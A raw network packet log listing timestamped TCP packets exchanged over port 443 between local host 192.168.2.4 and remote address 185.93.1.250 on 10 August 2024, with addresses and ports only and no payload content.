Aug 10, 2024 19:10:09.752121925 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.752131939 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.752157927 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.752171040 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.752194881 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.752209902 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.752228022 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.752238989 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.752279043 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.752307892 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.752634048 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.752672911 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.752705097 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.752715111 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.752741098 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.752757072 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.752878904 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.752918005 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.752945900 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.752954960 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.752980947 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.752998114 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.753000021 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.753017902 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.753056049 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.753071070 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.753094912 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.753104925 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.753133059 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.753161907 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.753866911 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.753900051 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.753942966 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.753952980 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.753978014 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.753985882 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.754004955 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.754014969 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.754044056 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.754054070 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.754081964 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.754091978 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.754118919 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.754141092 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.805376053 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.805432081 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.805552959 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.805603027 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.805613995 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.805614948 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.805614948 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.805679083 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.805732012 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.822509050 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.822566986 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.822710991 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.822711945 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.822777033 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.822810888 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.822870016 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.822876930 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.822900057 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.822933912 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.823070049 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.823112965 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.823138952 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.823153973 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.823185921 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.823353052 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.823401928 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.823415995 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.823429108 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.823465109 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.823683977 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.823723078 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.823745012 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.823760033 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.823787928 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.824358940 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.824425936 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.824438095 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.824459076 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.824501991 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.828330040 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.898039103 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.898104906 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.898235083 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.898261070 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.898262024 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.898303986 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.898361921 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.898411036 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.898411036 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.915055990 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.915118933 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.915136099 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.915204048 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.915245056 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.915313959 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.915361881 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.915402889 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.915421963 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.915457010 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.915641069 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.915680885 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.915811062 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.915811062 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.915875912 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.915981054 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.916028976 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.916065931 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.916088104 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.916115046 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.916343927 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.916385889 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.916414022 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.916434050 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.916461945 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.916461945 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.916610956 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.916657925 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.916680098 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.916692972 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.916723967 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.957508087 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.990329981 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.990386009 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.990504026 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.990555048 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:09.990689039 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.990689039 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.990689039 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:09.990755081 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.007452011 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.007508993 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.007654905 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.007656097 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.007663012 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.007723093 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.007769108 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.007771015 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.007841110 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.007855892 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.007956028 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.007997990 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.008023024 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.008038044 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.008068085 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.008086920 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.008152008 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.008205891 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.008229017 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.008240938 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.008270979 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.008291006 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.008583069 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.008637905 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.008661985 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.008673906 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.008701086 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.008721113 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.008853912 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.008897066 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.008914948 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.008925915 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.008963108 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.008964062 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.083431959 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.083498001 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.083631992 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.083631992 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.083640099 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.083699942 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.083741903 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.083745003 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.083761930 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.083779097 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.083802938 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.083826065 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.099879026 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.099934101 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.100092888 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.100119114 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.100094080 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.100187063 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.100233078 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.100250959 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.100250959 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.100271940 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.100298882 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.100327015 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.100425005 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.100467920 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.100541115 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.100541115 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.100554943 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.100614071 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.100655079 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.100703955 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.100857973 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.100858927 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.100920916 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.101047993 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.101078987 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.101259947 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.101260900 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.101260900 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.101325035 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.101386070 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.101486921 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.101516008 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.101561069 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.101582050 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.101608992 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.101629972 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.175149918 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.175210953 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.175405025 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.175452948 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.175513029 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.175513029 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.175513029 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.175579071 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.192342043 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.192394972 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.192437887 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.192528009 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.192576885 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.192627907 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.192675114 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.192864895 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.192864895 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.192864895 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.192929983 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.192969084 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.193015099 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.193053961 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.193093061 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.193125963 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.193212986 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.193260908 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.193316936 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.193330050 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.193401098 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.193422079 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.193464994 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.193511009 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.193523884 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.193577051 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.194031954 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.194081068 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.194097996 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.194143057 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.194188118 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.238715887 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.269663095 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.269721985 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.269860029 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.269860983 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.269922972 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.271296978 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.271359921 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.271410942 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.271476030 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.271519899 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.272388935 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.284878969 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.284940958 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.285105944 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.285106897 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.285106897 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.285178900 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.285242081 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.285757065 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.285820961 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.285957098 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.285958052 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.285984993 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.286015987 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.286071062 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.286087990 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.286087990 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.286155939 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.286245108 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.286267996 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.286273956 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.286298990 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.286339045 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.286340952 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.286386967 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.286386967 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.286401987 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.286623001 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.286673069 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.286740065 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.286757946 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.286784887 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.286853075 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.287247896 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.287292957 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.287313938 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.287326097 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.287355900 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.287375927 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.362029076 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.362095118 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.362256050 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.362256050 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.362318039 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.362416983 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.363044977 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.363118887 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.363331079 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.363331079 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.363393068 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.363444090 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.377413988 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.377474070 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.377656937 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.377656937 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.377669096 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.377720118 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.377764940 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.377765894 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.377840996 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.377857924 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.378489017 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.378542900 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.378570080 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.378586054 CEST	443	49734	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:10.378623962 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.378648996 CEST	49734	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:10.379261971 CEST	443	49734	185.93.1.250	192.168.2.4
